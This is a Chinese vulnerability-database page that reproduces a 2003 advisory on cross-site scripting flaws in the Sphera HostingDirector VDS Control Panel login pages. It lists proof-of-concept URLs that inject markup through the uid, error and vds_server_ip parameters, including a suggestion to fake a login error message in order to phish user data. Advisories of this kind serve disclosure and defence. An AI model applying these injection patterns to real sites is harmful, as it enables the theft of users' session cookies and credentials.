Sphera HostingDirector 1.0/2.0/3.0 VDS Control Panel – Multiple Cross-Site Scripting Vulnerabilities
漏洞ID | 1053956 | 漏洞类型 | |
发布时间 | 2003-06-13 | 更新时间 | 2003-06-13 |
CVE编号 | N/A |
CNNVD-ID | N/A |
漏洞平台 | PHP | CVSS评分 | N/A |
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
source: http://www.securityfocus.com/bid/7899/info
Sphera HostingDirector VDS Control Panel has been reported prone to several cross-site scripting attacks. The vulnerabilities exist due to insufficient sanitization of user-supplied input for certain URI parameters.
Successful exploitation could permit theft of cookie-based authentication credentials from legitimate users of the HostingDirector Control Panel.
http://[TARGET]/[INSTALLATION PATH]/login/sm_login_screen.php?uid=">[XSS
ATTACK CODE]
http://[TARGET]/[INSTALLATION PATH]/login/sm_login_screen.php?error=">[XSS
ATTACK CODE]
http://[TARGET]/[INSTALLATION PATH]/login/sm_login_screen.php?error=[XSS
ATTACK CODE COMBINATED WITH OTHER VARIABLE FOR EMULATE A REAL ERROR LIKE
"EITHER PASSWORD OR USER ARE INCORRECT , RE-FILL IN" FOR STEAL THE USER
DATA]
http://[TARGET]/[INSTALLATION PATH]/login/login_screen.php?vds_ip=[VDS
DOMAIN OR IP]&uid=">[XSS ATTACK CODE]&tz=[TIMEZONE CODE , TRY
CEST]&vds_server_ip=">[XSS ATTACK CODE]
https://[TARGET]/[INSTALLATION PATH]/login/login_screen.php?vds_ip=[VDS
DOMAIN OR
IP]&uid="></form>here%20comes%20your%20attack<h1>&tz=CEST&vds_server_ip=">He
re%20comes%20your%20XSS%20Attack&error=Either+user+or+password+are+incorrect
+,+please+re-fill+in+.
https://[TARGET]/[INSTALLATION
PATH]/login/sm_login_screen.php?uid="><h1>XSS%20!
相关推荐: X-News Insecure User Database Permissions Vulnerability
X-News Insecure User Database Permissions Vulnerability 漏洞ID 1102312 漏洞类型 Design Error 发布时间 2002-03-13 更新时间 2002-03-13 CVE编号 N/A C…
© 版权声明
文章版权归作者所有,未经允许请勿转载。
THE END
喜欢就支持一下吧
恐龙抗狼扛1年前0
kankan啊啊啊啊3年前0
66666666666666